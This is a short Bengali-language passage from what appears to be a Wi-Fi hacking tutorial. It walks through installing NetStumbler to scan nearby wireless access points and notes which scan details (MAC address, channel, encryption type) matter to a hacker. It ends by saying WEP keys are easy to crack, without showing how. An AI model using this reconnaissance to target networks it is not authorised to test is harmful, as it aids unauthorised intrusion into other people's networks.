উইন্ডোজের জন্যে আমরা যেটা ব্যবহার করব তা হল NetStumbler। আর Mac এর জন্যে MacStumbler। এরকম আরও কিছু প্রোগ্রামের নাম হল -

- উইন্ডোজ ও লিনাক্সের জন্য Kismet।
- ম্যাকের জন্য kismac।


ধাপসমূহঃ

১. Netstumbler ডাউনলোড করে ইন্সটল করো।
২. চালু করলে এটা Wireless access points এর জন্য automatic scan শুরু করবে।
৩. scan শেষ হওয়ার পর wireless access points এর লিস্ট দেখতে পাবে।





৪. যদি তুমি কোন MAC address এ ক্লিক করো তুমি একটি গ্রাফ দেখবে। যত বেশি সবুজ তত ভাল signal ।



৫. তুমি দেখবে NetStumbler নাম ছাড়াও আর কিছু দেখায়।এটি MAC address, Channel number, encryption type এবং bunch দেখায়।এগুলো হ্যাকারের জন্যে গুরুত্বপূর্ণ।network cracking এর জন্যে কমন কিছু encryption হল -

- WEP (Wired Equivalent Privacy) - WEP কে এখন আর নিরাপদ বলা যায় না।হ্যাকার খুব সহজে WEP key crack করতে পারে।
